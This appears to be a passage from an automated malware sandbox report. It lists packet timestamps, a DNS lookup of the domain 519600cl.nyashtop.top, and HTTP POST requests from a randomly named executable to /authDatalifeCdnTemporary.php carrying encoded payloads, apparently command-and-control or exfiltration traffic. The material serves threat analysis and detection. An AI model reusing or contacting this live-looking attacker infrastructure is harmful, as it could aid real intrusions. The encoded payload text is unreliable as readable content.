                                                                  Jan 13, 2025 13:12:34.929296970 CET805011837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:34.929308891 CET805011837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:35.401019096 CET805011837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:35.401304960 CET805011837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:35.401336908 CET805011837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:35.401396036 CET5011880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:35.538460016 CET5011980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:35.543380976 CET805011937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:35.543457031 CET5011980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:35.543649912 CET5011980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:35.548384905 CET805011937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:35.892241955 CET5011980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:35.897186041 CET805011937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:35.897198915 CET805011937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:35.897207975 CET805011937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:36.172797918 CET805011937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:36.267174959 CET5011980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:36.344271898 CET805011937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:36.438791037 CET5011980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:36.470974922 CET5011880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:36.475539923 CET5011980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:36.476268053 CET5012080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:36.480938911 CET805011937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:36.481000900 CET5011980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:36.481021881 CET805012037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:36.481163025 CET5012080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:36.481218100 CET5012080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:36.485934973 CET805012037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:36.829803944 CET5012080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:36.834748030 CET805012037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:36.834760904 CET805012037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:36.834769011 CET805012037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.118860960 CET805012037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.251193047 CET805012037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.251271009 CET5012080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.379429102 CET5012080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.380356073 CET5012180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.384561062 CET805012037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.384704113 CET5012080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.385215044 CET805012137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.385303974 CET5012180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.385385036 CET5012180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.390158892 CET805012137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.721545935 CET5012280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.721621990 CET5012180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.726376057 CET805012237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.726459026 CET5012280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.726569891 CET5012280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.731281042 CET805012237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.770812988 CET805012137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.849292994 CET5012380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.854166031 CET805012337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.854231119 CET5012380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.854310036 CET5012380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.855190992 CET805012137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:37.855245113 CET5012180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:37.859127045 CET805012337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.079730034 CET5012280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.084531069 CET805012237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.084690094 CET805012237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.204791069 CET5012380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.209801912 CET805012337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.209816933 CET805012337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.209825993 CET805012337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.374233007 CET805012237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.470283985 CET5012280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.492465019 CET805012337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.509249926 CET805012237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.579664946 CET5012380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.628463984 CET805012337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.669497013 CET5012280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.753890038 CET5012280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.754043102 CET5012380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.754569054 CET5012480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.758935928 CET805012237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.758991957 CET5012280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.759185076 CET805012337.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.759241104 CET5012380192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.759319067 CET805012437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:38.759378910 CET5012480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.759500980 CET5012480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:38.766204119 CET805012437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:39.111857891 CET5012480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:39.116786957 CET805012437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:39.116799116 CET805012437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:39.116807938 CET805012437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:39.416280985 CET805012437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:39.470288992 CET5012480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:39.551191092 CET805012437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:39.673505068 CET5012480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:39.780637026 CET5012480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:39.780890942 CET5012580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:39.785742998 CET805012537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:39.785962105 CET805012437.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:39.786973000 CET5012480192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:39.786979914 CET5012580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:39.787142992 CET5012580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:39.791837931 CET805012537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:40.143129110 CET5012580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:40.148315907 CET805012537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:40.148329973 CET805012537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:40.148339033 CET805012537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:40.433378935 CET805012537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:40.579739094 CET5012580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:40.610416889 CET805012537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:40.737879992 CET5012580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:40.738754034 CET5012680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:40.742901087 CET805012537.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:40.742958069 CET5012580192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:40.743606091 CET805012637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:40.743678093 CET5012680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:40.743789911 CET5012680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:40.748614073 CET805012637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:41.095400095 CET5012680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:41.100296021 CET805012637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:41.100311041 CET805012637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:41.100318909 CET805012637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:41.390487909 CET805012637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:41.521409988 CET805012637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:41.521471977 CET5012680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:41.642076969 CET5012680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:41.642610073 CET5012780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:41.647120953 CET805012637.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:41.647173882 CET5012680192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:41.647418022 CET805012737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:41.647478104 CET5012780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:41.647588968 CET5012780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:41.652331114 CET805012737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.001658916 CET5012780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:42.006747961 CET805012737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.006764889 CET805012737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.006777048 CET805012737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.300010920 CET805012737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.431334019 CET805012737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.431396008 CET5012780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:42.546181917 CET5012780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:42.546763897 CET5012880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:42.551342964 CET805012737.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.551417112 CET5012780192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:42.551620960 CET805012837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.551686049 CET5012880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:42.551781893 CET5012880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:42.556504011 CET805012837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.907888889 CET5012880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:42.912861109 CET805012837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.912889957 CET805012837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:42.912904024 CET805012837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.180342913 CET805012837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.309500933 CET805012837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.309576035 CET5012880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.440351963 CET5012880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.440958023 CET5012980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.518510103 CET5013080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.599107027 CET805012937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.599128962 CET805013037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.599203110 CET5013080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.599349022 CET5012980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.599349022 CET5012980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.599459887 CET5013080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.599636078 CET805012837.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.599674940 CET5012880192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.604509115 CET805012937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.604850054 CET805013037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.954746962 CET5012980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.954763889 CET5013080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:43.960954905 CET805012937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.961015940 CET805012937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.961029053 CET805012937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.961042881 CET805013037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:43.961055040 CET805013037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.227910995 CET805013037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.247529030 CET805012937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.357636929 CET805013037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.357727051 CET5013080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:44.358737946 CET5012980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:44.363893032 CET805012937.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.363946915 CET5012980192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:44.484297037 CET5013080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:44.484921932 CET5013180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:44.489907980 CET805013037.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.489953041 CET805013137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.490021944 CET5013080192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:44.490104914 CET5013180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:44.490181923 CET5013180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:44.495253086 CET805013137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.845513105 CET5013180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:44.850441933 CET805013137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.850457907 CET805013137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:44.850470066 CET805013137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:45.122466087 CET805013137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:45.255012989 CET805013137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:45.258277893 CET5013180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:45.377099037 CET5013180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:45.377404928 CET5013280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:45.382252932 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:45.382278919 CET805013137.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:45.382373095 CET5013280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:45.382525921 CET5013280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:45.382527113 CET5013180192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:45.387275934 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:45.736021042 CET5013280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:46.079688072 CET5013280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:46.545695066 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:46.545715094 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:46.545727015 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:46.545818090 CET5013280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:46.545818090 CET5013280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:46.547049999 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:46.547422886 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:46.548007965 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:46.548021078 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:46.684045076 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:46.926875114 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:46.926966906 CET5013280192.168.2.437.44.238.250
                                                                  Jan 13, 2025 13:12:47.103444099 CET805013237.44.238.250192.168.2.4
                                                                  Jan 13, 2025 13:12:47.173521042 CET5013280192.168.2.437.44.238.250

                                                                  UDP Packets

                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                  Jan 13, 2025 13:10:49.373811007 CET5438753192.168.2.41.1.1.1
                                                                  Jan 13, 2025 13:10:49.571589947 CET53543871.1.1.1192.168.2.4

                                                                  DNS Queries

                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                  Jan 13, 2025 13:10:49.373811007 CET192.168.2.41.1.1.10x75e8Standard query (0)519600cl.nyashtop.topA (IP address)IN (0x0001)false

                                                                  DNS Answers

                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                  Jan 13, 2025 13:10:49.571589947 CET1.1.1.1192.168.2.40x75e8No error (0)519600cl.nyashtop.top37.44.238.250A (IP address)IN (0x0001)false

                                                                  HTTP Request Dependency Graph

                                                                  • 519600cl.nyashtop.top

                                                                  HTTP Packets

                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  0192.168.2.44973637.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:10:49.611191988 CET284OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 344
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:10:49.974989891 CET344OUTData Raw: 00 07 01 01 03 0d 01 00 05 06 02 01 02 01 01 0b 00 04 05 00 02 0d 03 00 02 05 0e 06 07 06 03 05 0a 00 06 5d 00 00 06 52 0e 0b 02 01 05 0b 04 02 04 07 0b 0f 0f 02 06 07 01 07 04 53 05 02 07 5b 01 0a 0c 0c 07 55 06 51 0c 04 0e 54 0f 51 0f 02 07 53
                                                                  Data Ascii: ]RS[UQTQSW\L~A|YzvaqOb[^OhUj_tR`k]ZJ{R]Hxp~hnQcgZ~O~V@z}TbW
                                                                  Jan 13, 2025 13:10:50.254040956 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:50.334892035 CET1236INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:50 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 1312
                                                                  Connection: keep-alive
                                                                  Data Raw: 56 4a 7d 5d 6c 43 73 49 78 4c 5a 49 7e 61 55 00 69 74 7b 0a 7e 60 57 0d 6e 63 52 00 69 61 7b 5c 60 5a 79 4f 6e 71 57 4a 75 58 64 06 7d 61 78 01 55 4b 71 42 60 62 59 44 7f 62 62 5f 7d 74 66 0c 7b 48 74 08 7e 73 63 02 77 72 5c 5c 74 61 7d 05 7f 61 58 00 7d 0a 6c 09 6a 77 59 01 76 66 7b 06 7c 5c 5c 5d 6a 5e 72 5a 6f 67 6c 07 78 49 51 59 78 6d 63 48 79 62 5e 46 7b 4d 7e 04 7f 4e 5a 00 79 77 67 5f 7d 04 64 5a 75 07 78 02 7a 51 41 5b 68 67 68 4f 7f 4f 50 54 61 52 52 4e 7b 6c 7c 00 77 63 6e 40 79 07 6d 05 6a 42 54 4e 78 5f 54 03 62 60 7b 44 61 07 67 5b 76 72 72 50 7e 5d 7a 06 76 72 6d 05 76 65 52 09 68 52 65 04 60 6f 60 04 7f 60 7c 01 6f 6c 67 03 7b 5e 66 4a 6b 6d 60 08 60 59 6f 5c 69 62 61 50 7e 7e 67 41 78 6d 72 06 69 62 61 04 7b 5d 46 51 68 7f 68 0a 7e 59 60 42 7d 64 7e 4e 7a 7d 70 5a 6c 5c 52 4b 7c 07 74 5e 69 67 7f 08 68 5e 65 41 6d 60 77 5f 69 62 52 46 76 60 79 51 7b 5c 79 01 77 66 74 48 7e 58 56 06 7d 58 75 0b 77 72 67 44 7f 4c 75 06 7f 77 66 4e 78 66 74 41 7c 63 51 4a 76 4c 5b 03 74 4f 69 47 7e 71 [TRUNCATED]
                                                                  Data Ascii: VJ}]lCsIxLZI~aUit{~`WncRia{\`ZyOnqWJuXd}axUKqB`bYDbb_}tf{Ht~scwr\\ta}aX}ljwYvf{|\\]j^rZoglxIQYxmcHyb^F{M~NZywg_}dZuxzQA[hghOOPTaRRN{l|wcn@ymjBTNx_Tb`{Dag[vrrP~]zvrmveRhRe`o``|olg{^fJkm``Yo\ibaP~~gAxmriba{]FQhh~Y`B}d~Nz}pZl\RK|t^igh^eAm`w_ibRFv`yQ{\ywftH~XV}XuwrgDLuwfNxftA|cQJvL[tOiG~qT~lp@}wwKu_sGxL}~`yJxY^{YtymcIyL`xMv}`lxIx}b{Nv_`G|lU}ghAqSvlt{RdIvp\zqS}lbO{qvFu]cKwadvqf|`ztrmv[xABuv|`~stxRoxpPD}|vw`O~Lf~CcOz}v}bWNZ@Bl}^Z}g~CxCyb`~qUJ~gs|N[zMh}\RKwcqB{aSuvR~Hhvuw\QK|riM}g~xv|~Msu\_wqiG|_rH|^~IQwawIx\q}^mIxYxLyghM{mYzb|H{cn{]NZogxj\UvaYY~ogkd}qS@acZxBk[`mPzOnZ}|T_z\yvxBagx[L~Jx^Twb\^wu{RuwU`k]ZKxlUK{}Xkm{Qcdhb_RzSYQ`qEbfBhl{PV@y]FQ}Iu\xSp[xLk]~rd[|d|She@n`cXqYt]Wyq[Jvfx[|\B^jnNZqJh\@jyUUjoTPcYw_qu_i}_vH}AAwYZtvx^oaGQ|n]WdRoUSj{~]]QNulPsAv{CW~]^tv^ioEP{gVSb_[UoXToDp^XP`Xbz~_@VX@Xtt|]bbA[}aWPcQZ[n[YfM`^ckpx^p@UR^Wq@Vn]I[_OjaSHQwlnZy\_^ [TRUNCATED]
                                                                  Jan 13, 2025 13:10:50.334912062 CET233INData Raw: 59 50 05 66 40 56 7b 79 0c 62 5f 7f 4c 69 64 7b 06 71 5a 6e 43 58 6d 6a 5c 6b 76 71 65 54 7f 73 09 6a 6b 7f 54 5a 07 6b 57 64 61 09 5c 50 59 54 59 6f 60 70 47 7f 5e 5d 59 54 0a 70 42 53 61 51 41 57 5b 0e 5c 50 06 0c 03 57 64 00 5f 51 58 64 73 5a
                                                                  Data Ascii: YPf@V{yb_Lid{qZnCXmj\kvqeTsjkTZkWda\PYTYo`pG^]YTpBSaQAW[\PWd_QXdsZg\zRY[{ZFQhbO[Ao]DayOV[f@QUeCQpYZ`cZw\|_uv}Wkc@[~n[Yf^SvX`kkplZyQ[ywy]hnN[{oXQa^Q~Mo[Tab[{^^Q{QNPjgNPtOo^FncASbdQTx^_Q}YVg
                                                                  Jan 13, 2025 13:10:52.025785923 CET260OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 384
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:10:52.220942974 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:52.221185923 CET384OUTData Raw: 5f 59 5e 56 51 45 54 55 5a 5d 56 56 52 5c 50 53 50 5f 55 55 57 5e 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Y^VQETUZ]VVR\PSP_UUW^Z]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ .0"!"2#C>:'8>3X<V)\0R3%<*'01+<.'F!.\*1
                                                                  Jan 13, 2025 13:10:52.486850977 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:52 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 54 2a 25 22 1d 24 17 23 0e 2f 3f 2a 58 3a 02 2c 00 2a 0c 01 04 29 5c 3a 02 2d 58 28 5a 3c 05 0d 03 2b 1f 02 1d 24 36 06 57 3d 03 2b 51 07 11 39 5c 25 03 26 15 3c 0a 36 58 30 1c 08 0a 35 23 2b 04 28 2a 31 0b 25 28 2f 0b 2b 38 29 58 2a 0d 3a 58 31 5f 39 0a 3c 2c 22 13 3f 07 2f 5e 08 12 25 57 2a 57 25 50 26 23 28 02 21 3f 34 5f 29 2f 04 08 35 3f 0f 0c 3d 03 39 5c 27 3e 21 1c 26 2e 31 00 26 21 23 0a 32 0c 3e 02 30 13 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !T*%"$#/?*X:,*)\:-X(Z<+$6W=+Q9\%&<6X05#+(*1%(/+8)X*:X1_9<,"?/^%W*W%P&#(!?4_)/5?=9\'>!&.1&!#2>0$P/,Q=ZW
                                                                  Jan 13, 2025 13:10:52.790344000 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1652
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:10:52.978502989 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:52.984688997 CET1652OUTData Raw: 5f 5a 5b 53 54 40 51 54 5a 5d 56 56 52 5e 50 59 50 5d 55 59 57 56 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[ST@QTZ]VVR^PYP]UYWVZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#;0&5%14)*03*W0-#):329(),Z$0<'F!.\*9
